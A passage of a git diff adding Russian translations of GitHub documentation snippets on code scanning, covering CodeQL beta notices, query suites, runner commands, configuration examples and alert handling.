%} и Java. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/code-scanning/beta-alert-tracking-in-issues.md b/translations/ru-RU/data/reusables/code-scanning/beta-alert-tracking-in-issues.md new file mode 100644 index 000000000000..494360b9fe49 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/beta-alert-tracking-in-issues.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 7ff38314d872920cce5e08fe52be7aff4d0df6da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180858" +--- +{% ifversion code-scanning-task-lists %} + +{% note %} + +**Примечание.** Функция отслеживания оповещений {% data variables.product.prodname_code_scanning %} в проблемах доступна в бета-версии и может быть изменена. + +Эта функция поддерживает анализ с помощью встроенных инструментов, при котором используется {% data variables.product.prodname_actions %} или использование инфраструктуры CI/CD извне, а также сторонних инструментов {% data variables.product.prodname_code_scanning %}, но _не_ сторонних инструментов отслеживания. + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/beta-codeql-ml-queries.md b/translations/ru-RU/data/reusables/code-scanning/beta-codeql-ml-queries.md new file mode 100644 index 000000000000..903c64f13f04 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/beta-codeql-ml-queries.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 987634e3733b58bc46d94c9efb97864daaf9930a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180890" +--- +{% ifversion codeql-ml-queries %} + +{% note %} + +**Примечание.** Экспериментальные оповещения для {% data variables.product.prodname_code_scanning %} создаются с помощью экспериментальной технологии в действии {% data variables.product.prodname_codeql %}. Эта функция в настоящее время доступна как бета-версия для кода JavaScript и может быть изменена. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/beta-codeql-packs-cli.md b/translations/ru-RU/data/reusables/code-scanning/beta-codeql-packs-cli.md new file mode 100644 index 000000000000..0e3caa1152be --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/beta-codeql-packs-cli.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: d64fe4ac7ee11f33e25d95f35a30e4070088a20f +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879013" +--- +{% ifversion fpt or ghec %} + +{% note %} + +**Примечание.** Функция управления пакетами {% data variables.product.prodname_codeql %}, включая пакеты {% data variables.product.prodname_codeql %} в настоящее время доступна в бета-версии и может быть изменена. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/beta.md b/translations/ru-RU/data/reusables/code-scanning/beta.md new file mode 100644 index 000000000000..3c62addaeb44 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/beta.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 67190938682aae49ce571d8d6bb61e025c36bdad +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879488" +--- +{% ifversion ghae %} + + + +{% elsif ghae %} + +{% note %} + +**Примечание.** {% data variables.product.prodname_code_scanning_capc %} в настоящее время доступен в бета-версии и может быть изменен. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/billing.md b/translations/ru-RU/data/reusables/code-scanning/billing.md new file mode 100644 index 000000000000..dae59036e354 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/billing.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %}Using actions to run {% data variables.product.prodname_code_scanning %} will use minutes. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/choose-alert-dismissal-reason.md b/translations/ru-RU/data/reusables/code-scanning/choose-alert-dismissal-reason.md new file mode 100644 index 000000000000..5bef9b2df5c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/choose-alert-dismissal-reason.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: eb37bb6abd26f8638202d7779b1919c4beda1d02 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879600" +--- +Важно выбрать соответствующую причину в раскрывающемся меню, так как это может влиять на то, будет ли запрос включен в будущий анализ. {% ifversion comment-dismissed-code-scanning-alert %}При необходимости можно добавить комментарий, объясняющий контекст закрытия оповещения. Комментарий о закрытии добавляется на временную шкалу оповещений и может использоваться в качестве обоснования для аудита или отчетов. Вы можете получить или сохранить комментарий с помощью REST API сканирования кода. Комментарий содержится в `dismissed_comment` для конечной точки `alerts/{alert_number}`. Дополнительные сведения см. в статье [Проверка кода](/rest/code-scanning#update-a-code-scanning-alert). +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/click-alert-in-list.md b/translations/ru-RU/data/reusables/code-scanning/click-alert-in-list.md new file mode 100644 index 000000000000..cff3c10db685 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/click-alert-in-list.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c4111d5deb66d53fede6b4fb865fcc538c94cde4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067389" +--- +1. В разделе "Проверка кода" щелкните оповещение, которое нужно изучить. +{% ifversion fpt or ghes or ghec %} ![Список оповещений от {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-click-alert.png) {% else %} ![Список оповещений от {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.1/help/repository/code-scanning-click-alert.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/close-alert-examples.md b/translations/ru-RU/data/reusables/code-scanning/close-alert-examples.md new file mode 100644 index 000000000000..3afdb4de8167 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/close-alert-examples.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8f91f8699081ea6e39b805265a09d86e42987c2e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113323" +--- +Например, когда есть ошибка в коде, который используется только для тестирования, или когда усилия по исправлению ошибки больше потенциального преимущества улучшения кода. diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md b/translations/ru-RU/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md new file mode 100644 index 000000000000..ee301d361585 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-cli-context-for-third-party-tools.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d0852e81bab51c33c7ff8fe22c1045c7fcf583c1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115587" +--- +Вы добавляете {% data variables.product.prodname_codeql_cli %} в свою стороннюю систему, а затем вызываете средство для анализа кода и отправляете SARIF-файл с результатами в {% data variables.product.product_name %}. Полученные оповещения {% data variables.product.prodname_code_scanning %} отображаются вместе с любыми другими оповещениями, которые создаются в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения о проверке кода CodeQL в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system). diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md b/translations/ru-RU/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md new file mode 100644 index 000000000000..9a06bcca8ff3 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md @@ -0,0 +1 @@ +You can run {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %} using {% data variables.product.prodname_actions %}. Alternatively, if you use a third-party continuous integration or continuous delivery/deployment (CI/CD) system, you can run {% data variables.product.prodname_codeql %} analysis in your existing system and upload the results to {% data variables.location.product_location %}. diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-languages-bullets.md b/translations/ru-RU/data/reusables/code-scanning/codeql-languages-bullets.md new file mode 100644 index 000000000000..e12d817ad2f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-languages-bullets.md @@ -0,0 +1,19 @@ + +- C/C++ +- C# +- Go +- Java +- JavaScript/TypeScript +- Python{% ifversion fpt or ghes > 3.3 or ghec or ghae > 3.3 %} +- Ruby + +{% ifversion ghes < 3.8 or ghae < 3.8 %} +{% note %} + +**Note**: {% data variables.product.prodname_codeql %} analysis for Ruby is currently in beta. During the beta, analysis of Ruby will be less comprehensive than {% data variables.product.prodname_codeql %} analysis of other languages. + +{% endnote %} +{% endif %} + +For more information, see the documentation on the {% data variables.product.prodname_codeql %} website: "[Supported languages and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/)." +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-languages-keywords.md b/translations/ru-RU/data/reusables/code-scanning/codeql-languages-keywords.md new file mode 100644 index 000000000000..78a94f865655 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-languages-keywords.md @@ -0,0 +1 @@ +`cpp`, `csharp`, `go`, `java`, `javascript`,{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %} `python`, and `ruby`{% else %} and `python`{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites-explanation.md b/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites-explanation.md new file mode 100644 index 000000000000..bf8fd4907935 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites-explanation.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6581cf0b9a8c740d04e96d3049ff51e89f570666 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180874" +--- +Следующие наборы запросов встроены в {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} и доступны для использования. + +{% data reusables.code-scanning.codeql-query-suites %} + +При указании набора запросов обработчик анализа {% data variables.product.prodname_codeql %} будет выполнять набор запросов по умолчанию и все дополнительные запросы, определенные в дополнительном наборе запросов. {% ifversion codeql-ml-queries %}Наборы запросов `security-extended` и `security-and-quality` для JavaScript содержат экспериментальные запросы. Дополнительную информацию см. в разделе [Сведения об оповещениях {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts).{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites.md b/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites.md new file mode 100644 index 000000000000..072e622880d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-query-suites.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 7ef928cc8f56a997197c06b1aa3bbfa5e718a174 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785209" +--- + | Набор запросов | Описание | + | :- | :- | + | `security-extended` | Запросы из набора по умолчанию, а также запросы с более низкой степенью серьезности и точности | + | `security-and-quality` | Запросы из `security-extended`, а также запросы касательно удобства обслуживания и надежности | diff --git a/translations/ru-RU/data/reusables/code-scanning/codeql-runner-analyze-example.md b/translations/ru-RU/data/reusables/code-scanning/codeql-runner-analyze-example.md new file mode 100644 index 000000000000..52ea974b9e28 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/codeql-runner-analyze-example.md @@ -0,0 +1,32 @@ +--- +ms.openlocfilehash: e6d7a33506174bf50d70ae9b5d4ac9857cd880ae +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: "148161241" +--- +1. Заполните базы данных {% data variables.product.prodname_codeql %}, проанализируйте их и отправьте результаты в {% data variables.product.product_name %}. Результаты появятся на вкладке **Безопасность** вашего репозитория. + + ```shell + $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo + --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin + --commit 5b6a3078b31dc346e5ce7b86837d6abbe7a18bbd --ref refs/heads/my-branch + > Finalizing database creation + > ... + > POST /repos/octo-org/example-repo/code-scanning/sarifs - 202 in 786ms + > Successfully uploaded results + ``` +2. Чтобы отправить результаты {% data variables.product.prodname_code_scanning %} в качестве проверок запроса на вытягивание, укажите запрос на вытягивание с помощью флага `--ref`. Рекомендуется настроить {% data variables.code-scanning.codeql_runner %}, чтобы он запускал [`pull_request`](/developers/webhooks-and-events/webhook-events-and-payloads#pull_request) событие веб-перехватчика. + + ```shell + $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux analyze --repository octo-org/example-repo + --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin + --commit 1dc7a1346e5ce7b86835b68bbda3078b37d6abbe --ref refs/pull/123/merge + > Finalizing database creation + > ... + > POST /repos/octo-org/example-repo/code-scanning/sarifs - 202 in 786ms + > Successfully uploaded results + ``` + +Дополнительные сведения о просмотре оповещений {% data variables.product.prodname_code_scanning %} см. в разделах "[Анализ оповещений сканирования кода в запросах на вытягивание](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests)" и "[Управление оповещениями сканирования кода для репозитория](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository)". diff --git a/translations/ru-RU/data/reusables/code-scanning/custom-configuration-file.md b/translations/ru-RU/data/reusables/code-scanning/custom-configuration-file.md new file mode 100644 index 000000000000..0b90ce2cc5df --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/custom-configuration-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8853680d46623e384f28a6a697f985fd2d79d012 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881903" +--- +Файл конфигурации может находиться в репозитории, который вы анализируете, или во внешнем репозитории. Использование внешнего репозитория позволяет задавать параметры конфигурации для нескольких репозиториев в одном месте. При ссылке на файл конфигурации, расположенный во внешнем репозитории, можно использовать синтаксис _OWNER/REPOSITORY/FILENAME@BRANCH_ . Например, _octo-org/shared/codeql-config.yml@main_ . diff --git a/translations/ru-RU/data/reusables/code-scanning/deprecation-codeql-runner.md b/translations/ru-RU/data/reusables/code-scanning/deprecation-codeql-runner.md new file mode 100644 index 000000000000..47a85ff30ebf --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/deprecation-codeql-runner.md @@ -0,0 +1,23 @@ +{% note %} + +{% ifversion fpt or ghec %} + +**Note:** The {% data variables.code-scanning.codeql_runner %} is deprecated. On {% data variables.product.product_name %}, the {% data variables.code-scanning.codeql_runner %} was supported until March 2022. You should upgrade to the latest version of [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). + +{% elsif ghes > 3.3 %} + +**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated and is not included in {% data variables.product.prodname_ghe_server %} 3.4. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.7.6. + +{% elsif ghes < 3.4 %} + +**Note:** The {% data variables.code-scanning.codeql_runner %} is being deprecated. On {% data variables.product.prodname_ghe_server %} 3.0 and greater, you can install [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases) version 2.6.3 to replace {% data variables.code-scanning.codeql_runner %}. + +{% elsif ghae %} + +**Note:** The {% data variables.code-scanning.codeql_runner %} has been deprecated. You should migrate to [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-action/releases). + +{% endif %} + +For more information, see [the CodeQL runner deprecation](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)." + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/code-scanning/edit-workflow.md b/translations/ru-RU/data/reusables/code-scanning/edit-workflow.md new file mode 100644 index 000000000000..0cd6972b56e9 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/edit-workflow.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a697342c2435c479a3309cfb4619c15d4521098e +ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/11/2022 +ms.locfileid: "148161235" +--- +Как правило, не требуется изменять рабочий процесс по умолчанию для {% data variables.product.prodname_code_scanning %}. Однако при необходимости можно настроить некоторые параметры рабочего процесса. Например, можно изменить {% data variables.product.prodname_dotcom %} {% data variables.code-scanning.codeql_workflow %}, чтобы указать частоту сканирования, языки или каталоги для сканирования, а также то, что {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} ищет в коде. Если для компиляции кода используется определенный набор команд, может потребоваться изменить {% data variables.code-scanning.codeql_workflow %}. diff --git a/translations/ru-RU/data/reusables/code-scanning/enabling-options.md b/translations/ru-RU/data/reusables/code-scanning/enabling-options.md new file mode 100644 index 000000000000..d866b223c17e --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/enabling-options.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 3f8288f84d2b0b9aa24bf42d8e52b1348607390e +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879698" +--- +| Тип анализа | Параметры создания оповещений | +|------------------|-------------------------------| +| {% data variables.product.prodname_codeql %} | С помощью {% data variables.product.prodname_actions %} (см. раздел [Настройка {% data variables.product.prodname_code_scanning %} с помощью действий](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)) или выполнения анализа {% data variables.product.prodname_codeql %} в сторонней системе непрерывной интеграции (CI) (см. раздел [Сведения о {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} в системе CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)). +| Третья‑сторона | Посредством {% data variables.product.prodname_actions %} (см. раздел [Настройка {% data variables.product.prodname_code_scanning %} с помощью действий](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)) или созданных извне и отправленных данных в {% data variables.product.product_name %} (см. раздел [Передача файла SARIF в {% data variables.product.prodname_dotcom %}](/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github)).| diff --git a/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md new file mode 100644 index 000000000000..df8cfa602724 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md @@ -0,0 +1,9 @@ +{% ifversion ghes %} + +{% note %} + +**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. If you want to use {% data variables.product.prodname_actions %} to scan your code, the site administrator must also enable {% data variables.product.prodname_actions %} and set up the infrastructure required. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)." + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning.md b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning.md new file mode 100644 index 000000000000..700cd26b279c --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning.md @@ -0,0 +1,11 @@ +{% ifversion ghes %} + +{% note %} + +**Note:** Your site administrator must enable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %} before you can use this feature. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance)." + +{% ifversion security-feature-enablement-policies %} You may not be able to enable or disable {% data variables.product.prodname_code_scanning %} if an enterprise owner has set a policy at the enterprise level. For more information, see "[Enforcing policies for code security and analysis for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise)."{% endif %} + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-dependency-graph.md b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-dependency-graph.md new file mode 100644 index 000000000000..8ea81915a8cd --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/enterprise-enable-dependency-graph.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 44ece30d2ecbee779e780390785b2bcaed2c619e +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106952" +--- +{% ifversion security-feature-enablement-policies %} + +Возможно, вы не сможете включить или отключить граф зависимостей, если владелец предприятия установил политику на уровне предприятия. Дополнительные сведения см. в разделе "[Применение политик безопасности и анализа кода для вашего предприятия](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-to-manage-the-use-of-github-advanced-security-features-in-your-enterprises-repositories)". + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/example-configuration-files.md b/translations/ru-RU/data/reusables/code-scanning/example-configuration-files.md new file mode 100644 index 000000000000..d0e35b6bb197 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/example-configuration-files.md @@ -0,0 +1,59 @@ +--- +ms.openlocfilehash: 77c9b4b73d2d839bc9c0bdaa73ffc148f0eda6ca +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109231" +--- +Этот файл конфигурации добавляет набор запросов `security-and-quality` в список запросов, выполняемых {% data variables.product.prodname_codeql %} при сканировании кода. Дополнительные сведения о наборах запросов, доступных для использования, см. в разделе [Выполнение дополнительных запросов](#running-additional-queries). + +``` yaml +name: "My {% data variables.product.prodname_codeql %} config" + +queries: + - uses: security-and-quality +``` + +Следующий файл конфигурации отключает запросы по умолчанию и задает набор пользовательских запросов для выполнения. Он также настраивает {% data variables.product.prodname_codeql %} на сканирование файлов в каталоге _src_ (относительно корневого каталога), кроме каталога _src/node_modules_ и кроме файлов, имя которых заканчивается на _.test.js_. Поэтому файлы в папке _src/node_modules_ и файлы с именами, заканчивающимися на _.test.js_, исключаются из анализа. + +``` yaml +name: "My {% data variables.product.prodname_codeql %} config" + +disable-default-queries: true + +queries: + - name: Use an in-repository {% data variables.product.prodname_ql %} pack (run queries in the my-queries directory) + uses: ./my-queries + - name: Use an external JavaScript {% data variables.product.prodname_ql %} pack (run queries from an external repo) + uses: octo-org/javascript-qlpack@main + - name: Use an external query (run a single query from an external {% data variables.product.prodname_ql %} pack) + uses: octo-org/python-qlpack/show_ifs.ql@main + - name: Use a query suite file (run queries from a query suite in this repo) + uses: ./codeql-qlpacks/complex-python-qlpack/rootAndBar.qls + +paths: + - src +paths-ignore: + - src/node_modules + - '**/*.test.js' +``` + +{% ifversion code-scanning-exclude-queries-from-analysis %} + +Следующий файл конфигурации выполняет только запросы, которые создают оповещения об ошибке. Сначала конфигурация выбирает все запросы по умолчанию, все запросы в `./my-queries` и набор по умолчанию в `codeql/java-queries`, а затем исключает все запросы, которые создают предупреждения или рекомендации. + +``` yaml +queries: + - name: Use an in-repository QL pack (run queries in the my-queries directory) + uses: ./my-queries +packs: + - codeql/java-queries +query-filters: +- exclude: + problem.severity: + - warning + - recommendation +``` + +{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/explore-alert.md b/translations/ru-RU/data/reusables/code-scanning/explore-alert.md new file mode 100644 index 000000000000..f0f32590ef0c --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/explore-alert.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cbf709a8e3f1c2a1ed5a3170a5e45c67f9c67bdf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115523" +--- +1. В разделе "{% data variables.product.prodname_code_scanning_capc %}" щелкните оповещение, чтобы просмотреть его. diff --git a/translations/ru-RU/data/reusables/code-scanning/extractor-diagnostics.md b/translations/ru-RU/data/reusables/code-scanning/extractor-diagnostics.md new file mode 100644 index 000000000000..2fbab3279543 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/extractor-diagnostics.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 45df270a99b7471ffa37d6d15482815ddd3e9b6f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113251" +--- +Диагностика средства извлечения охватывает только файлы, которые были замечены во время анализа, метрики включают: +- Количество успешно проанализированных файлов +- Количество файлов, которые вызвали ошибки средства извлечения во время создания базы данных +- Количество файлов, которые вызвали предупреждения средства извлечения во время создания базы данных diff --git a/translations/ru-RU/data/reusables/code-scanning/false-positive-fix-codeql.md b/translations/ru-RU/data/reusables/code-scanning/false-positive-fix-codeql.md new file mode 100644 index 000000000000..07ddeb836a37 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/false-positive-fix-codeql.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7de41d29460441b788f283ffc534495188593f59 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115520" +--- +Если вы закрываете оповещение {% data variables.product.prodname_codeql %} как ложное срабатывание, например, поскольку в коде используется библиотека очистки, которая не поддерживается, рассмотрите возможность добавления {% data variables.product.prodname_codeql %} в репозиторий и улучшение анализа. Дополнительные сведения о {% data variables.product.prodname_codeql %} см. в разделе "[Участие в улучшении {% data variables.product.prodname_codeql %}](https://github.com/github/codeql/blob/main/CONTRIBUTING.md)." diff --git a/translations/ru-RU/data/reusables/code-scanning/filter-non-default-branches.md b/translations/ru-RU/data/reusables/code-scanning/filter-non-default-branches.md new file mode 100644 index 000000000000..45c1e35a7802 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/filter-non-default-branches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e628886d349bf314fa6b9a91ae8652731dc5979b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061021" +--- +Обратите внимание: если оповещения, отфильтрованные в ветви, отличной от используемой по умолчанию, присутствуют в ветви по умолчанию, на странице оповещений для любого такого оповещения по-прежнему будет отражаться состояние из ветви по умолчанию, даже если оно конфликтует с состоянием в ветви, отличной от используемой по умолчанию. Например, для оповещения, которое присутствует в списке "Открыто" в сводке оповещений для ветви `branch-x`, на странице оповещений может отображаться состояние "Исправлено", если это оповещение уже исправлено в ветви по умолчанию. Состояние оповещения для ветви, к которой применен фильтр, можно просмотреть в разделе **Затронутые ветви** в правой части страницы оповещений. diff --git a/translations/ru-RU/data/reusables/code-scanning/get-started-uploading-third-party-data.md b/translations/ru-RU/data/reusables/code-scanning/get-started-uploading-third-party-data.md new file mode 100644 index 000000000000..37988d6892e3 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/get-started-uploading-third-party-data.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9f523fd93ba6f29b367a59f9435de6751c3d17ef +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115515" +--- +Сведения о начале работы см. в разделе [Передача файла SARIF в {% data variables.product.prodname_dotcom %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/uploading-a-sarif-file-to-github). diff --git 